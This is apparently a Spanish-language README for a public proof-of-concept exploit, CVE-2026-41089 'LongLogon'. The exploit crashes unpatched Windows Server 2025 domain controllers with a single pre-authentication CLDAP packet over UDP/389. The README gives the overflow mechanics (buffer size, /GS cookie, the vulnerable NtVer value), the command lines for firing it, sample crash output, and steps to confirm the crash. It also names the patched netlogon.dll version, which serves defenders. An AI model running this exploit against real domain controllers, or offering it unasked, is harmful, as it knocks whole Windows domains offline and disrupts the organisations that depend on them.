
CVE-2026-41089 LongLogon: desbordamiento de búfer de pila pre-auth CLDAP (UDP/389) que provoca caída en Netlogon de Windows Server 2025 sin parchear (lsass 0xc0000409). PoC en Python solo con biblioteca estándar + informe de laboratorio.
Desbordamiento de búfer de pila previo a la autenticación en el servicio Netlogon de Windows Server 2025. Un único paquete CLDAP (UDP/389) desde cualquier host en la red es suficiente: lsass.exe muere con STATUS_STACK_BUFFER_OVERRUN (0xc0000409) y el controlador de dominio se reinicia.
La respuesta a un ping CLDAP de Netlogon se serializa en un búfer de pila de 528 bytes. El servidor escribe sus propios nombres (bosque, dominio, nombre de host) seguidos del campo User controlado por el atacante (limitado a 130 caracteres anchos). Cuando el relleno total alcanza los 536 bytes (búfer + cookie de pila), el L'\0' final sobrescribe la cookie /GS y el proceso se bloquea.
El campo NtVer dirige la ruta del código: 0x02 toma el vulnerable BuildSamLogonResponse, mientras que 0x06 / 0x16 toman el acotado (seguro) BuildSamLogonResponseEx. Este PoC envía NtVer = 0x02.
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run sondea con User=1 (benigno), muestra el relleno proyectado, no dispara --shots N número de paquetes de desbordamiento a enviar (por defecto 1) --confirm-wait S espera antes de volver a sondear tras un disparo silencioso (por defecto 75s) --force dispara incluso si el relleno proyectado es inferior a 536 bytes
Ejemplo (reemplace la IP y el dominio con los valores de su laboratorio):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
Salida esperada del disparo:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
Códigos de salida: 0 bloqueo probable, 1 DC silencioso en el sondeo inicial, 2 relleno inferior a 536 bytes (límite), 3 DC sobrevivió.
Nota: el script vuelve a sondear después de 75 segundos porque un único paquete silencioso también puede ser un datagrama UDP perdido. No concluya un bloqueo solo por el silencio.
Utilice el verificador oficial del repositorio de investigación. Sondea con User=1, por lo que el DC permanece activo:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
Esperado: "PRECONDITION MET" con un relleno proyectado de al menos 536 bytes.
El verificador no demuestra el estado del parche: un DC parcheado toma la misma ruta de código y simplemente rechaza la escritura demasiado larga. Verifique la versión de netlogon.dll en el DC directamente (< 10.0.26100.32772 = vulnerable).
En el DC, una vez que vuelva a estar activo:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
Busque el evento 1000: aplicación con error lsass.exe, módulo con error netlogon.DLL, código de excepción 0xc0000409, y una hora de arranque posterior al disparo.
Probado en Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230 (sin parchear), dominio de 64 caracteres + nombre de host de 63 caracteres (relleno proyectado 581 bytes). Un paquete disparado:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
Este PoC se proporciona únicamente con fines educativos y de investigación. Fue desarrollado y probado en un entorno de laboratorio aislado en Windows Server 2025. Úselo bajo su propio riesgo.
Al utilizar este script, usted acepta que el autor no es responsable de ninguna pérdida de datos, interrupción del servicio, daño al hardware u otras consecuencias directas o indirectas. El bloqueo no es idempotente: el controlador de dominio objetivo se reiniciará. Tome una instantánea antes de disparar.
No se ofrece ninguna garantía de que este PoC funcione en un entorno de producción o en todas las compilaciones de Windows Server 2025.